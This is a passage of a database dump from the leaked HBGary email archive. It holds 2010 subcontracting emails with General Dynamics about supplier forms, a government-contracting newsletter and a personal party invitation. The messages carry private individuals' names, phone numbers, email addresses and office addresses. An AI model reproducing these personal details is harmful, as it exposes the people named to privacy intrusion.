&lt;Kimberly.Hoagland@gd-ais.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron/Ted,\r\n\r\n&nbsp;\r\n\r\nI haven&#8217;t received your Reps &amp; Certs\r\nback so I need to ask what type of business are you: Small Business?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n*Supplier Category: (Check all that apply) (Incorporated by reference: FAR 52.219-1, FAR 52.212-3, FAR 52.204-5, DFARS 252.226-7000,\r\n\r\nDFARS 225.003) Note: It\r\nis a criminal offense to make false statements or misrepresent a firm&#8217;s status\r\nas a small business concern. Penalties\r\n\r\nare prescribed under 15\r\nU.S.C. 645(d). Note: Effective 10/3/08, suppliers that\r\nqualify as SDB&#8217;s can self-certify their status (see 13 CFR Part 124).\r\n\r\n&nbsp;\r\n\r\nForeign\r\n\r\nGeneral Dynamics Owned\r\n\r\nLarge Business\r\n\r\nSmall Business\r\n\r\nMinority Owned\r\n\r\nWoman Owned\r\n\r\nSmall Disadvantaged\r\nBusiness\r\n\r\nHUB Zone (certified)\r\n\r\nVeteran\r\n\r\nService Disabled Veteran\r\n\r\nHBCU / MI\r\n\r\nAlaskan Native Corporation\r\n\r\nIndian Tribe\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly\r\nHoagland\r\n\r\nSr. Specialist-Subcontracts&nbsp;\r\n\r\nGeneral Dynamics Advanced Information Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing Address:\r\n\r\n&nbsp;10925 Pump House Road\r\n\r\n&nbsp;Annapolis Junction, MD 20701\r\n\r\nPhysical Address:\r\n\r\n&nbsp;2721 Technology Drive\r\n\r\n&nbsp;Annapolis Junction, MD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240) 294-2275 (v)\r\n\r\n(240) 294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please consider the environment before\r\nprinting this email\r\n\r\nThis e-mail message is for the sole use of\r\nthe intended recipient and may contain confidential and privileged information.\r\nAny unauthorized review, use, disclosure, or distribution is prohibited. If you\r\nare not an intended recipient, please contact the sender by reply e-mail and\r\ndestroy all copies of the original message.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11425,'aaron_hbgary_com/11425.html'),(6778,'2010-05-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004886.M69670P14101Q1632.eml','\"Griswold, Christine\" <Christine.Griswold@gdc4s.com>,\"Griswold, Christine\" <Christine.Griswold@gdc4s.com>,','Re: FW: Supplier 452174 Approved','Hi Christine,\r\n\r\nI\'ve attached the Reps & Certs form we sent previously (Mon, May 24,\r\n2010 at 10:07 PM).  Is this a different form that we also need to fill\r\nout?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn Thu, May 27, 2010 at 7:31 AM, Griswold, Christine\r\n wrote:\r\n>\r\n> > >\r\n> Please complete the document as soon as possible and return the soft copy to\r\n> Kim Hoagland and myself.\r\n>\r\n> Sincerely,\r\n> CHRISTINE GRISWOLD\r\n> christine.griswold@gdc4s.com\r\n> General Dynamics C4 Systems\r\n> 400 John Quincy Adams Rd.\r\n> Taunton Ma 02780\r\n> P# 508-880-4154\r\n> F# 508-880-2223\r\n>\r\n> ______________________________________________\r\n> From:   Hoagland, Kimberly A. [mailto:Kimberly.Hoagland@gd-ais.com]\r\n> Sent:   Monday, May 24, 2010 3:20 PM\r\n> To:     Griswold, Christine\r\n> Subject:        FW: Supplier 452174 Approved\r\n>\r\n> Please send out a Reps & Certs package to this company.  Thank you!  J\r\n>\r\n> Aaron Barr [aaron@hbgary.com]\r\n> Ted Vera [ted@hbgary.com]\r\n>\r\n>\r\n>\r\n> Kimberly Hoagland\r\n> Sr. Specialist-Subcontracts\r\n> General Dynamics Advanced Information Systems, Inc.\r\n>\r\n> Mailing Address:\r\n>  10925 Pump House Road\r\n>  Annapolis Junction, MD 20701\r\n> Physical Address:\r\n>  2721 Technology Drive\r\n>  Annapolis Junction, MD  20701\r\n>\r\n> (240) 294-2275 (v)\r\n> (240) 294-2181 (f)\r\n> kimberly.hoagland@gd-ais.com\r\n>\r\n> P please consider the environment before printing this email\r\n> This e-mail message is for the sole use of the intended recipient and may\r\n> contain confidential and privileged information. Any unauthorized review,\r\n> use, disclosure, or distribution is prohibited. If you are not an intended\r\n> recipient, please contact the sender by reply e-mail and destroy all copies\r\n> of the original message.\r\n>\r\n> _____________________________________________\r\n> From: Bradley, Barbara L.\r\n> Sent: Monday, May 24, 2010 3:19 PM\r\n> To: Hoagland, Kimberly A.\r\n> Cc: Griswold, Christine (EXT) (GDC4S)\r\n> Subject: Supplier 452174 Approved\r\n>\r\n> Supplier 452174, HBGary, Inc, has been approved in ESM and IFS.\r\n>\r\n> Barbara Bradley\r\n> Calibration Recall System Coordinator\r\n> Supplier Quality Administrator\r\n> General Dynamics - Cyber Systems-IS\r\n> 7-9 Vreeland Road\r\n> Florham Park, NJ  07932\r\n> Phone - 973-765-5584\r\n> Fax - 973-765-5952\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',12817,'aaron_hbgary_com/12817.html'),(6779,'2010-05-27','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297004886.M731391P14101Q1634.eml','aaron@hbgary.com','CEO Summer Reading List','View in Browser\r\n Sign\r\n Up&nbsp;| Forward | Visit Our\r\n Blog | Jobs\r\n  | About\r\n Us GovconWire | ExecutiveGov | The New New Internet  |\r\n  GovCon Executive&nbsp;\r\n |\r\n  GovConExec\r\n MagazineBy Jim\r\n GarrettsonMay 27,\r\n 2010CEO Summer Reading List\r\n &nbsp;Top Row (L-R): Peter Altabef, Brad Antle, Norm Augustine, Greg\r\n BaroniBottom Row (L-R): Mac Curtis, John Hillen, Bill Mixon, Stan\r\n SloaneJust in time for summer &#8212; it\'s\r\n in: ExecutiveBiz\'s annual, CEO Summer Reading List. This year, we\'re jump-starting\r\n our list of book recommendations from some of the area\'s top CEOs with a question:\r\n Why read books, anyway? Especially when you can get practically everything in\r\n quick hits, on the web, your BlackBerry, and iPhone. We brought that question\r\n recently to John Hillen, president and CEO of Global Defense Technology and\r\n Systems, Inc. Check out his take below. Then settle back and enjoy this year\'s\r\n list of book picks by some of the area\'s top\r\n CEOs. Click Here to Read\r\n MoreMelissa Hathaway Names 9 Cyber Bills to\r\n WatchWith cybersecurity becoming an increasingly visible issue,\r\n Congress has added its voice to the growing discussion with a number of bills\r\n currently pending. Melissa Hathaway, president of Hathaway Global Strategies and\r\n former cybersecurity official, recently authored a\r\n study of the pending legislation that is a must read for individuals in\r\n government and the private sector looking to operate within the cybersecurity\r\n field.Click Here to Read\r\n MoreEAGLE II: Your\r\n GuideThe Department of Homeland Security\'s Enterprise Acquisition Gateway\r\n for Leading Edge Solutions II (EAGLE II) will be substantially different from\r\n EAGLE when its final iteration is released at the end of the fiscal\r\n year. Click Here to Read\r\n More2010\'s\r\n Acquisitions Wave: Cash is Back\r\n Harris Corporation\'s acquisition\r\n of privately-held CapRock Communications for a reported $525 million in cash is\r\n the latest in a series of major cash acquisitions, proving that, even if credit is\r\n still tight, cash is back. Click Here to\r\n Read\r\n MoreAlion,\r\n Booz Allen, ITT, L-3, SAIC, Wyle Among Firms Awarded Pieces of $2B Air Force\r\n DealAlion Science and Technology, Applied Research Associates,\r\n Battelle Memorial Institute, Booz Allen Hamilton, ITT Corp, L-3, SAIC, Wyle\r\n Laboratories and MacAulay-Brown have each been awarded a piece of a $2 billion\r\n contract with the Air Force. Click Here to Read\r\n MoreSHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpaceMartha\r\n Johnson to Speak at Potomac Officers Club\r\n GSA\'s focus in 2010 is innovation, according to Martha Johnson\'s\r\n remarks at the 2010 Government Web & New Media Conference.&nbsp; She reminded\r\n conference attendees through Skype that GSA serves every government agency,\r\n contracting the tools and expertise they need to complete their missions.&nbsp;\r\n She\'ll be speaking at the Potomac Officers Club at a luncheon event on June\r\n 2nd.&nbsp;Click Here to\r\n RegisterExecutive Spotlight: JR Reagan of\r\n DeloitteDale Meyerrose on What Cyber Command Means for Government\r\n ContractingExecutive Spotlight: Mike Bowers of INDUS\r\n Executive Spotlight: Robert Jones, Jr. of HPTi\r\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Save the\r\n DateWhat: The Fairfax County Chamber of\r\n Commerce will welcome Bruce Allen, Executive Vice President/General Manager of the\r\n Washington Redskins, as the keynote speaker at the organization\'s Annual\r\n Chairman\'s Luncheon. In addition to Allen, the day\'s program will include the\r\n recognition of community and business leaders and area organizations for their\r\n service to the Chamber and Fairfax County over the past year.&nbsp;\r\n When:Tuesday, June 1511:30 to 2:00pmWhere: Westfields Marriott, Washington\r\n DullesFor more information contact Lisa Huffman at lhuffman@fairfaxchamber.org\r\n or 703-752-7528Click Here to\r\n Register.&nbsp;&nbsp;Northrop\r\n Grumman Books Three Air Force ContractsRaytheon,\r\n Lockheed Martin Win DoD DealsLockheed Set\r\n With Deal from Nuclear Regulatory CommissionLockheed Martin\r\n Inks Three DoD ContractsRaytheon, SAIC\r\n Win DoD DealsGD\'s Dan\r\n Johnson, Tom Kirchmaier Talk SITE WinRaytheon,\r\n Northrop Grumman Win Air Force DealsHP\'s Dennis\r\n Stolkey on DHS ICE Contract WinJoe Doherty of\r\n ACS, A Xerox Company on New Deal with DelawareAlion, Booz\r\n Allen, ITT, L-3, SAIC, Wyle Among Firms Awarded Pieces of $2B Air Force\r\n DealBill Bodie\r\n Lands at ParsonsNJVC Names Alan\r\n Tashima VP, IC ProgramsCGI Posts June\r\n 17 Deadline for Stanley Tender OfferNorthrop\r\n Grumman Teams with EOS in Bid for Army DealSymantec Set to\r\n Buy VeriSign for $1.3 BillionClick Here for\r\n More GovConwireLynn: Cyber\r\n Command Stand-up a MilestoneDISA Wants Info\r\n on Host-Based SecurityDARPA Wants to\r\n Circumvent Blocklists, Deep Packet InspectionIranian Cyber\r\n Army Second Largest in the World, Claims Iranian CommanderArmy To\r\n Establish Cyber Command HQGAO: Veteran\r\n Affairs Easy Cyber TargetHarris Opens\r\n Cyber Integration CenterCommittee\r\n Approves Cybersecurity Overhaul BillClick Here for\r\n More from The New New\r\n Internet Meet Helene\r\n Fisher of ACS Federal Solutions&nbsp;Kathy Madaleno\r\n of Alion Science & Technology Gives HR InsightWomen in\r\n Technology Nominates Carlson and PenfieldExecutive\r\n Spotlight: Doug Norton of CALIBRESymantec\r\n Announces Plans to Buy VeriSign\r\n Click Here for\r\n More from GovCon Executive\r\n Odierno\r\n Nominated to Lead U.S. Joint Forces CommandObama Addresses\r\n West Point\'s Graduating ClassGSA Undergoes a\r\n ReorganizationDefense\r\n Secretary Receives Lifetime Achievement AwardFBI Announces\r\n New Assistant Director of Resource Planning OfficeJames Cole to\r\n Take Key Administration PostHealth IT Top\r\n Career Choice for College GradsTSA Gives Award\r\n to Boost IT InfrastructureSimon Szykman\r\n New CIO for Department of CommerceDennis C. Blair\r\n Resigns as Intel ChiefClick Here for\r\n More from ExecutiveGovFeatured VideoKeil on DHS\r\n BalanceSHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpaceAEC\r\n &#8211; Geo e-procurement portalIn the fast-paced AEC-Geo\r\n world, we understand that you need fast and flexible purchasing of your technology\r\n solutions.&nbsp; That\'s why we created a new e-procurement portal from DLT\r\n Solutions: www.dlt.com/aec-geo-proc&nbsp;From\r\n mapping and CAD, to imagery and globes, all can be purchased at a press of a\r\n button for all your government projects. The portal features special\r\n pricing around Autodesk\'s Master Government Reseller software solutions including\r\n AutoCAD, Map 3D, Civil 3D plus many more. Google Earth and GeoEye Imagery\r\n solutions are available too.Prefer to speak to a representative\r\n directly? DLT has a team of experienced representatives to help. With over 19\r\n years of working closely with federal, state and local governments, we can help\r\n you make the best purchasing decisions.&nbsp;For Autodesk products,\r\n call 888.447.2223 or send a message to ag@dlt.com&nbsp;For Geospatial\r\n products, call 877.385.3581 or send a message to gds@dlt.com.\r\n Executive Spotlight: JR Reagan of\r\n DeloitteAfter\r\n working for 12 years in the intelligence arena, primarily supporting the National\r\n Security Agency, JR Reagan decided to give the private sector a shot. With some\r\n additional security work under his belt and after having experienced a few\r\n start-ups during the dot-com era, he got back into cybersecurity. Today, Reagan is\r\n the cybersecurity leader for Deloitte\'s Federal Government Services. In an\r\n interview with ExecutiveBiz, he talked about the challenges in his role, what\r\n cyber projects he is working on, and some of the major cyber threats he has seen\r\n recently. Click Here to Read\r\n MoreDale\r\n Meyerrose on What Cyber Command Means for Government\r\n Contracting\r\n Last week, Lt. Gen. Keith Alexander was confirmed as the head\r\n of U.S. Cyber Command, which will be responsible for protecting Department of\r\n Defense networks. Alexander, who was nominated back in October 2009, was confirmed\r\n by the Senate on May 11.Click Here to Read\r\n MoreExecutive Spotlight: Mike Bowers of INDUS\r\n After spending more than 15 years in a\r\n large corporation, Mike Bowers took the plunge and joined a smaller company,\r\n working his way to the position of senior vice president of the homeland security\r\n and civilian sector at INDUS. He recently talked to GovCon Executive about being\r\n an underdog in the corporate world, what it takes to be a successful partner with\r\n the government, and how he once pursued trout farming for a year in North Carolina\r\n before returning to the big-city life of Washington, D.C. Click Here to Read\r\n MoreExecutive Spotlight: Robert Jones, Jr. of\r\n HPTi&nbsp;GovCon Executive had the chance to speak\r\n with Robert Jones, Jr. of HPTi. Jones serves as the senior vice president as well\r\n as a member of the board of directors of HPTi.&nbsp; At his post, he is\r\n responsible for HPTi\'s corporate development, corporate strategy, human capital,\r\n and customer satisfaction.&nbsp; Jones offered us his thoughts on trends in\r\n corporate development, his goals for the firm and shared a little about his\r\n favorite hobbies.&nbsp; Click Here to Read\r\n More&nbsp; \r\n Save The\r\n DateWhat: Ernst & Young Entrepreneur Of The Year 2010 Greater\r\n Washington Awards Gala.The Ernst & Young Entrepreneur Of The Year 2010 finalists have a lot to\r\n celebrate. They\'ve built their dream companies. Expanded. Innovated. It\'s time to\r\n recognize their achievements. Join us at this year\'s event and see who will take\r\n home top honors.Shine\r\n your shoes. Raise your glass. Get inspired.When:Thursday, June 24, 20106:00 - 9:30\r\n p.m.Where: Ritz-Carlton, Tysons Corner,\r\n VAFor more information click or call +1 703 747 0858920\r\n Click Here to\r\n Register.\r\n A\r\n Letter from the EditorThrough our weekly emagazine and daily blog,\r\n ExecutiveBiz offers our readership an insider\'s view of news and trends shaping\r\n small, medium, and large companies within industries such as defense, technology,\r\n and health care.&nbsp; In addition to our daily blog, we\'ve launched four new\r\n media properties, GovConWire,\r\n GovConExecutive,\r\n ExecutiveGov,\r\n and TheNewNewInternet.\r\n Each week, we deliver in-depth profiles of industry leaders, candid Q&As, plus the\r\n latest news and trends, and value-add information to help you do your job\r\n better.&nbsp; You\'re a big part of the equation both online and off &#8212; which\r\n is why we want to hear from you. Have a story tip? Or an idea for a speaking\r\n event? Feel free to contact me direct. You can also follow us on Twitter, Facebook,\r\n and LinkedIn.J.D. KathuriaEditor-in-chief\r\n ExecutiveBizo: 703-226-7010&nbsp; &nbsp;jd@executivebiz.com&nbsp;&nbsp;\r\n ExecutiveBiz, 8230 Old Courthouse\r\n RoadVienna, VA 22181Update PreferencesList\r\n Unsubscribe\r\n',5710,'aaron_hbgary_com/5710.html'),(6780,'2010-05-27','\"Josh Fugate\" <jsfugate@hotmail.com>','/aaron@hbgary.com/new/1297004886.M974322P14101Q1635.eml','\"Eric Hallam\" <eric@dreamseedbooks.com>,\"Mark Trynor\" <mark.trynor@gmail.com>,\"Kimmie Garcia\" <garciakj@gmail.com>,\"Ted Vera\" <tedvera@me.com>,\"Aaron Barr\" <aaron@hbgary.com>','6464 grand opening change','\r\n\r\n\r\n\r\n\r\nSo we\'re actually gonna do this on Saturday, not Friday. We thought it made more sense to hang out and deplete the bar on a night where Angela didn\'t have to work the next day. Sorry if this completely ruins all your plans.Of course, if you can\'t do Saturday and want to hang out Friday still, just let me know. I can turn the blue light on both nights without too much trouble. (For those not in the know, the blue light means \"party over here\" in the whitest voice you can imagine)Josh Fugate\r\n\r\n&nbsp;Genius\r\nMaster of the Universe 		 	   		  \r\n',10303,'aaron_hbgary_com/10303.html'),(6781,'2010-05-27','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004888.M459105P14101Q1636.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: Supplier 452174 Approved','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n&nbsp;\r\nAttached are the standard Reps &amp; Certs that Christine just sent to you today at 9:31am.&nbsp; These are where I would normally obtain the information that I requested from you this morning via Email.&nbsp; The Supplemental Reps &amp; Certs are\r\na different set of forms that do not contain the same information.&nbsp; Christine Griswold does not send those out, I sent those to you on 5/25/10 at 10:31 as part of your RFP package.&nbsp; \r\n&nbsp;\r\nTwo totally different forms.&nbsp; I hope this clears things up.\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nKimberly Hoagland\r\nSr. Specialist-Subcontracts&nbsp;\r\nGeneral Dynamics Advanced Information Systems, Inc. \r\n&nbsp;\r\nMailing Address:\r\n&nbsp;10925 Pump House Road\r\n&nbsp;Annapolis Junction, MD 20701\r\nPhysical Address:\r\n&nbsp;2721 Technology Drive\r\n&nbsp;Annapolis Junction, MD&nbsp; 20701\r\n&nbsp;\r\n(240) 294-2275 (v)\r\n(240) 294-2181 (f)\r\nkimberly.hoagland@gd-ais.com\r\n&nbsp;\r\nP please consider the environment before printing this email\r\nThis e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is\r\nprohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n&nbsp;\r\n&nbsp;\r\n_____________________________________________\r\n\r\nFrom: Griswold, Christine [mailto:Christine.Griswold@gdc4s.com]\r\n\r\n\r\nSent: Thursday, May 27, 2010 9:31 AM\r\n\r\nTo: Aaron Barr\r\n\r\nCc: Hoagland, Kimberly A.; Ted Vera\r\n\r\nSubject: FW: Supplier 452174 Approved\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n  \r\nPlease complete the document as soon as possible and return the soft copy to Kim Hoagland and myself.\r\n&nbsp;\r\nSincerely,\r\nCHRISTINE GRISWOLD\r\nchristine.griswold@gdc4s.com\r\nGeneral Dynamics C4 Systems\r\n400 John Quincy Adams Rd.\r\nTaunton Ma 02780\r\nP# 508-880-4154\r\nF# 508-880-2223\r\n&nbsp;\r\n______________________________________________ \r\nFrom:&nbsp;&nbsp;&nbsp; Hoagland, Kimberly A. [mailto:Kimberly.Hoagland@gd-ais.com]\r\n\r\nSent:&nbsp;&nbsp; Monday, May 24, 2010 3:20 PM\r\nTo:&nbsp;&nbsp;&nbsp;&nbsp; Griswold, Christine\r\nSubject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FW: Supplier 452174 Approved\r\n&nbsp;\r\nPlease send out a Reps &amp; Certs package to this company.&nbsp; Thank you!&nbsp; J\r\n&nbsp;\r\nAaron Barr [aaron@hbgary.com]\r\nTed Vera [ted@hbgary.com]\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nKimberly Hoagland\r\nSr. Specialist-Subcontracts&nbsp;\r\nGeneral Dynamics Advanced Information Systems, Inc. \r\n&nbsp;\r\nMailing Address:\r\n&nbsp;10925 Pump House Road\r\n&nbsp;Annapolis Junction, MD 20701\r\nPhysical Address:\r\n&nbsp;2721 Technology Drive\r\n&nbsp;Annapolis Junction, MD&nbsp; 20701\r\n&nbsp;\r\n(240) 294-2275 (v)\r\n(240) 294-2181 (f)\r\nkimberly.hoagland@gd-ais.com\r\n&nbsp;\r\nP please consider the environment before printing this email\r\nThis e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is\r\nprohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n&nbsp;\r\n&nbsp;\r\n_____________________________________________\r\n\r\nFrom: Bradley, Barbara L. \r\n\r\nSent: Monday, May 24, 2010 3:19 PM\r\n\r\nTo: Hoagland, Kimberly A.\r\n\r\nCc: Griswold, Christine (EXT) (GDC4S)\r\n\r\nSubject: Supplier 452174 Approved\r\n&nbsp;\r\n&nbsp;\r\nSupplier 452174, HBGary, Inc, has been approved in ESM and IFS.\r\n&nbsp;\r\nBarbara Bradley\r\nCalibration Recall System Coordinator\r\nSupplier Quality Administrator\r\nGeneral Dynamics - Cyber Systems-IS\r\n7-9 Vreeland Road\r\nFlorham Park, NJ&nbsp; 07932\r\nPhone - 973-765-5584\r\nFax - 973-765-5952\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',1716,'aaron_hbgary_com/1716.html'),(6782,'2010-05-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004888.M759783P14101Q1637.eml','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,','Re: FW: Supplier 452174 Approved','Sorry for the confusion.  This form reads HBGary Inc, and it will not\r\nallow me to change it to HBGary Federal, LLC.  Can you make this\r\nchange and resend it to me please and I will fill it out ASAP.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn Thu, May 27, 2010 at 9:28 AM, Hoagland, Kimberly A.\r\n wrote:\r\n> Ted,\r\n>\r\n> Attached are the standard Reps & Certs that Christine just sent to you today\r\n> at 9:31am.  These are where I would normally obtain the information that I\r\n> requested from you this morning via Email.  The Supplemental Reps & Certs\r\n> are a different set of forms that do not contain the same information.\r\n> Christine Griswold does not send those out, I sent those to you on 5/25/10\r\n> at 10:31 as part of your RFP package.\r\n>\r\n> Two totally different forms.  I hope this clears things up.\r\n>\r\n>\r\n>\r\n> Kimberly Hoagland\r\n> Sr. Specialist-Subcontracts\r\n> General Dynamics Advanced Information Systems, Inc.\r\n>\r\n> Mailing Address:\r\n>  10925 Pump House Road\r\n>  Annapolis Junction, MD 20701\r\n> Physical Address:\r\n>  2721 Technology Drive\r\n>  Annapolis Junction, MD  20701\r\n>\r\n> (240) 294-2275 (v)\r\n> (240) 294-2181 (f)\r\n> kimberly.hoagland@gd-ais.com\r\n>\r\n> P please consider the environment before printing this email\r\n> This e-mail message is for the sole use of the intended recipient and may\r\n> contain confidential and privileged information. Any unauthorized review,\r\n> use, disclosure, or distribution is prohibited. If you are not an intended\r\n> recipient, please contact the sender by reply e-mail and destroy all copies\r\n> of the original message.\r\n>\r\n>\r\n> _____________________________________________\r\n> From: Griswold, Christine [mailto:Christine.Griswold@gdc4s.com]\r\n> Sent: Thursday, May 27, 2010 9:31 AM\r\n> To: Aaron Barr\r\n> Cc: Hoagland, Kimberly A.; Ted Vera\r\n> Subject: FW: Supplier 452174 Approved\r\n>\r\n>\r\n>\r\n> Please complete the document as soon as possible and return the soft copy to\r\n> Kim Hoagland and myself.\r\n>\r\n> Sincerely,\r\n> CHRISTINE GRISWOLD\r\n> christine.griswold@gdc4s.com\r\n> General Dynamics C4 Systems\r\n> 400 John Quincy Adams Rd.\r\n> Taunton Ma 02780\r\n> P# 508-880-4154\r\n> F# 508-880-2223\r\n>\r\n> ______________________________________________\r\n> From:    Hoagland, Kimberly A. [mailto:Kimberly.Hoagland@gd-ais.com]\r\n> Sent:   Monday, May 24, 2010 3:20 PM\r\n> To:     Griswold, Christine\r\n> Subject:        FW: Supplier 452174 Approved\r\n>\r\n> Please send out a Reps & Certs package to this company.  Thank you!  J\r\n>\r\n> Aaron Barr [aaron@hbgary.com]\r\n> Ted Vera [ted@hbgary.com]\r\n>\r\n>\r\n>\r\n> Kimberly Hoagland\r\n> Sr. Specialist-Subcontracts\r\n> General Dynamics Advanced Information Systems, Inc.\r\n>\r\n> Mailing Address:\r\n>  10925 Pump House Road\r\n>  Annapolis Junction, MD 20701\r\n> Physical Address:\r\n>  2721 Technology Drive\r\n>  Annapolis Junction, MD  20701\r\n>\r\n> (240) 294-2275 (v)\r\n> (240) 294-2181 (f)\r\n> kimberly.hoagland@gd-ais.com\r\n>\r\n> P please consider the environment before printing this email\r\n> This e-mail message is for the sole use of the intended recipient and may\r\n> contain confidential and privileged information. Any unauthorized review,\r\n> use, disclosure, or distribution is prohibited. If you are not an intended\r\n> recipient, please contact the sender by reply e-mail and destroy all copies\r\n> of the original message.\r\n>\r\n>\r\n> _____________________________________________\r\n> From: Bradley, Barbara L.\r\n> Sent: Monday, May 24, 2010 3:19 PM\r\n> To: Hoagland, Kimberly A.\r\n> Cc: Griswold, Christine (EXT) (GDC4S)\r\n> Subject: Supplier 452174 Approved\r\n>\r\n>\r\n> Supplier 452174, HBGary, Inc, has been approved in ESM and IFS.\r\n>\r\n> Barbara Bradley\r\n> Calibration Recall System Coordinator\r\n> Supplier Quality Administrator\r\n> General Dynamics - Cyber Systems-IS\r\n> 7-9 Vreeland Road\r\n> Florham Park, NJ  07932\r\n> Phone - 973-765-5584\r\n> Fax - 973-765-5952\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',12278,'aaron_hbgary_com/12278.html'),(6783,'2010-05-27','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004889.M153904P14101Q1638.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','RE: FW: Supplier 452174 Approved','I just noticed that also, no wonder you guys are confused.  Hold off for right now, you answered my question that I needed.  I need to talk to Christine about something internally.  Sit tight and I\'ll get back to you.\r\n\r\n\r\nThanks for your patience!\r\n\r\n \r\n \r\nKimberly Hoagland\r\nSr. Specialist-Subcontracts \r\nGeneral Dynamics Advanced Information Systems, Inc. \r\n \r\nMailing Address:\r\n 10925 Pump House Road\r\n Annapolis Junction, MD 20701\r\nPhysical Address:\r\n 2721 Technology Drive\r\n Annapolis Junction, MD  20701\r\n \r\n(240) 294-2275 (v)\r\n(240) 294-2181 (f)\r\nkimberly.hoagland@gd-ais.com\r\n \r\n \r\nThis e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Thursday, May 27, 2010 11:49 AM\r\nTo: Hoagland, Kimberly A.\r\nCc: Aaron Barr; Griswold, Christine (EXT) (GDC4S)\r\nSubject: Re: FW: Supplier 452174 Approved\r\n\r\nSorry for the confusion.  This form reads HBGary Inc, and it will not\r\nallow me to change it to HBGary Federal, LLC.  Can you make this\r\nchange and resend it to me please and I will fill it out ASAP.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn Thu, May 27, 2010 at 9:28 AM, Hoagland, Kimberly A.\r\n wrote:\r\n> Ted,\r\n>\r\n> Attached are the standard Reps & Certs that Christine just sent to you today\r\n> at 9:31am.  These are where I would normally obtain the information that I\r\n> requested from you this morning via Email.  The Supplemental Reps & Certs\r\n> are a different set of forms that do not contain the same information.\r\n> Christine Griswold does not send those out, I sent those to you on 5/25/10\r\n> at 10:31 as part of your RFP package.\r\n>\r\n> Two totally different forms.  I hope this clears things up.\r\n>\r\n>\r\n>\r\n> Kimberly Hoagland\r\n> Sr. Specialist-Subcontracts\r\n> General Dynamics Advanced Information Systems, Inc.\r\n>\r\n> Mailing Address:\r\n>  10925 Pump House Road\r\n>  Annapolis Junction, MD 20701\r\n> Physical Address:\r\n>  2721 Technology Drive\r\n>  Annapolis Junction, MD  20701\r\n>\r\n> (240) 294-2275 (v)\r\n> (240) 294-2181 (f)\r\n> kimberly.hoagland@gd-ais.com\r\n>\r\n> P please consider the environment before printing this email\r\n> This e-mail message is for the sole use of the intended recipient and may\r\n> contain confidential and privileged information. Any unauthorized review,\r\n> use, disclosure, or distribution is prohibited. If you are not an intended\r\n> recipient, please contact the sender by reply e-mail and destroy all copies\r\n> of the original message.\r\n>\r\n>\r\n> _____________________________________________\r\n> From: Griswold, Christine [mailto:Christine.Griswold@gdc4s.com]\r\n> Sent: Thursday, May 27, 2010 9:31 AM\r\n> To: Aaron Barr\r\n> Cc: Hoagland, Kimberly A.; Ted Vera\r\n> Subject: FW: Supplier 452174 Approved\r\n>\r\n>\r\n>\r\n> Please complete the document as soon as possible and return the soft copy to\r\n> Kim Hoagland and myself.\r\n>\r\n> Sincerely,\r\n> CHRISTINE GRISWOLD\r\n> christine.griswold@gdc4s.com\r\n> General Dynamics C4 Systems\r\n> 400 John Quincy Adams Rd.\r\n> Taunton Ma 02780\r\n> P# 508-880-4154\r\n> F# 508-880-2223\r\n>\r\n> ______________________________________________\r\n> From:    Hoagland, Kimberly A. [mailto:Kimberly.Hoagland@gd-ais.com]\r\n> Sent:   Monday, May 24, 2010 3:20 PM\r\n> To:     Griswold, Christine\r\n> Subject:        FW: Supplier 452174 Approved\r\n>\r\n> Please send out a Reps & 